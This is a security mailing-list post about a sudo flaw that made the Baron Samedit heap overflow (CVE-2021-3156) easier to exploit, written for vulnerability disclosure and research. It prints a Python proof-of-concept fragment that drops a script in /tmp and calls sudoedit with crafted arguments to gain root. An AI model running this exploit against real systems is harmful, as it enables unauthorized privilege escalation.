[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <2645-1613376404.018580@le5V.JgUV.WnPT>
Date: Mon, 15 Feb 2021 08:06:44 +0000
From: Roman Fiedler <roman.fiedler@...aralleled.eu>
To: oss-security@...ts.openwall.com
Subject: Re: sudo: Ineffective NO_ROOT_MAILER and Baron Samedit
Roman Fiedler writes:
> Hello list,
>
> While reproducing the exploitation of "Baron Samedit" another
> minor issue in Sudo was discovered. It affects Sudo 1.9.4
> and newer and renders the "NO_ROOT_MAILER" hardening option
> useless. While this bug by itself is not known to be exploitable
> on its own, combining it with the "Baron Samedit" heap overflow
> eases exploitation of the later tremendously.
> ...
Now sudo patches are already deployed widely, so this is how
the NO_ROOT_MAILER flag influenced exploit complexity:
* With "NO_ROOT_MAILER" working using "nss_load_library" method,
e.g. implemented by blasty: main program
https://github.com/blasty/CVE-2021-3156/blob/main/hax.c
(140 lines with 18 lines header) and the library to be loaded
https://github.com/blasty/CVE-2021-3156/blob/main/lib.c
(16 lines), total 156 lines.
* Without "NO_ROOT_MAILER": love-letter-to-the-baron.py
(43 lines with 18 lines header).
heraldName = '/tmp/XXXXXXXXXXXXXXXXXXXXXXXXX'
heraldFd = os.open(heraldName, os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOCTTY)
os.write(
heraldFd,
b'#!/bin/sh\ncat <<EOF > /the-letter.txt\nMy dearest Baron,...\n\nWith love,\nX*96\n\nLegal disclaimer:\n\n' + bytes(disclaimer, 'utf8') + b'\nEOF\n')
os.fchmod(heraldFd, 0o755)
os.close(heraldFd)
devNullHandle = os.open('/dev/null', os.O_RDONLY)
letterEnv = {
'LC_ALL': 'C.UTF-8',
'LANGUAGE': 'A'*84}
letterArgs = [
'/usr/bin/sudoedit', '-S', '-s', '\\',
'X'*96 + heraldName]
process = subprocess.Popen(
letterArgs, stdin=devNullHandle, env=letterEnv, cwd="/")
process.wait()
Note: I know that line numbers are not a perfect measure for
complexity, it is just a very poor approximation.
I also collected some historic information (software archeology)
on the security-ping-pong around "NO_ROOT_MAILER" feature:
https:///unparalleled.eu/blog/2021/20210215-a-love-letter-to-the-baron-part2/
Kind regads,
Roman
| | DI Roman Fiedler
| / roman.fiedler at unparalleled.eu +43 677 63 29 28 29
/ | Unparalleled IT Services e.U. FN: 516074h VAT: ATU75050524
| | https://unparalleled.eu/ Felix-Dahn-Platz 4, 8010 Graz, Austria
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
